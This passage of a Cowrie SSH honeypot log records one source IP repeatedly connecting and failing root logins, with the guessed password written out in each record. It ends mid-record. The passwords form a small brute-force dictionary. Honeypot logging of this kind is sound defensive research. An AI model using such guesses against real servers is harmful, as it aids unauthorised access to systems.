{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:34.228606Z","src_ip":"60.165.124.241","session":"8975e441652b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38398,"dst_ip":"10.17.0.5","dst_port":22,"session":"70281309ed44","protocol":"ssh","message":"New connection: 60.165.124.241:38398 (10.17.0.5:22) [session: 70281309ed44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:34.463873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:34.468961Z","src_ip":"60.165.124.241","session":"70281309ed44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:34.707458Z","src_ip":"60.165.124.241","session":"70281309ed44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome01","message":"login attempt [root/Welcome01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:35.437602Z","src_ip":"60.165.124.241","session":"70281309ed44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:36.678691Z","src_ip":"60.165.124.241","session":"70281309ed44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41158,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bd047bb20dd","protocol":"ssh","message":"New connection: 60.165.124.241:41158 (10.17.0.5:22) [session: 4bd047bb20dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:36.933007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:36.937617Z","src_ip":"60.165.124.241","session":"4bd047bb20dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:37.187244Z","src_ip":"60.165.124.241","session":"4bd047bb20dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"citizen","message":"login attempt [root/citizen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:37.969462Z","src_ip":"60.165.124.241","session":"4bd047bb20dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:39.229348Z","src_ip":"60.165.124.241","session":"4bd047bb20dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44372,"dst_ip":"10.17.0.5","dst_port":22,"session":"10e6f54b01ac","protocol":"ssh","message":"New connection: 60.165.124.241:44372 (10.17.0.5:22) [session: 10e6f54b01ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:39.462135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:39.467310Z","src_ip":"60.165.124.241","session":"10e6f54b01ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:39.702742Z","src_ip":"60.165.124.241","session":"10e6f54b01ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123@","message":"login attempt [root/qwerty123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:40.434702Z","src_ip":"60.165.124.241","session":"10e6f54b01ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:41.687539Z","src_ip":"60.165.124.241","session":"10e6f54b01ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47346,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5a8ab2a3ba1","protocol":"ssh","message":"New connection: 60.165.124.241:47346 (10.17.0.5:22) [session: a5a8ab2a3ba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:41.932014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:41.937114Z","src_ip":"60.165.124.241","session":"a5a8ab2a3ba1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:42.177263Z","src_ip":"60.165.124.241","session":"a5a8ab2a3ba1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lx@3.1415926","message":"login attempt [root/Lx@3.1415926] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:42.918813Z","src_ip":"60.165.124.241","session":"a5a8ab2a3ba1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:44.172764Z","src_ip":"60.165.124.241","session":"a5a8ab2a3ba1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50708,"dst_ip":"10.17.0.5","dst_port":22,"session":"524e46a94893","protocol":"ssh","message":"New connection: 60.165.124.241:50708 (10.17.0.5:22) [session: 524e46a94893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:44.441016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:44.446320Z","src_ip":"60.165.124.241","session":"524e46a94893","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:44.697302Z","src_ip":"60.165.124.241","session":"524e46a94893","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx@@","message":"login attempt [root/1qaz2wsx@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:45.472813Z","src_ip":"60.165.124.241","session":"524e46a94893","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:46.735491Z","src_ip":"60.165.124.241","session":"524e46a94893","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53430,"dst_ip":"10.17.0.5","dst_port":22,"session":"b56215be2340","protocol":"ssh","message":"New connection: 60.165.124.241:53430 (10.17.0.5:22) [session: b56215be2340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:46.975863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:46.981545Z","src_ip":"60.165.124.241","session":"b56215be2340","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:47.221477Z","src_ip":"60.165.124.241","session":"b56215be2340","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"6789@jkl","message":"login attempt [root/6789@jkl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:47.943666Z","src_ip":"60.165.124.241","session":"b56215be2340","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:49.184985Z","src_ip":"60.165.124.241","session":"b56215be2340","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56464,"dst_ip":"10.17.0.5","dst_port":22,"session":"688cee60ef48","protocol":"ssh","message":"New connection: 60.165.124.241:56464 (10.17.0.5:22) [session: 688cee60ef48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:49.416276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:49.421424Z","src_ip":"60.165.124.241","session":"688cee60ef48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:49.658231Z","src_ip":"60.165.124.241","session":"688cee60ef48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass-1","message":"login attempt [root/pass-1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:50.375582Z","src_ip":"60.165.124.241","session":"688cee60ef48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:51.617151Z","src_ip":"60.165.124.241","session":"688cee60ef48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59582,"dst_ip":"10.17.0.5","dst_port":22,"session":"c096ce837d7d","protocol":"ssh","message":"New connection: 60.165.124.241:59582 (10.17.0.5:22) [session: c096ce837d7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:51.847663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:51.852732Z","src_ip":"60.165.124.241","session":"c096ce837d7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:52.091172Z","src_ip":"60.165.124.241","session":"c096ce837d7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root2025.","message":"login attempt [root/root2025.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:52.804304Z","src_ip":"60.165.124.241","session":"c096ce837d7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:54.044816Z","src_ip":"60.165.124.241","session":"c096ce837d7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34234,"dst_ip":"10.17.0.5","dst_port":22,"session":"5abd535613bd","protocol":"ssh","message":"New connection: 60.165.124.241:34234 (10.17.0.5:22) [session: 5abd535613bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:54.302370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:23:54.308019Z","src_ip":"60.165.124.241","session":"5abd535613bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-e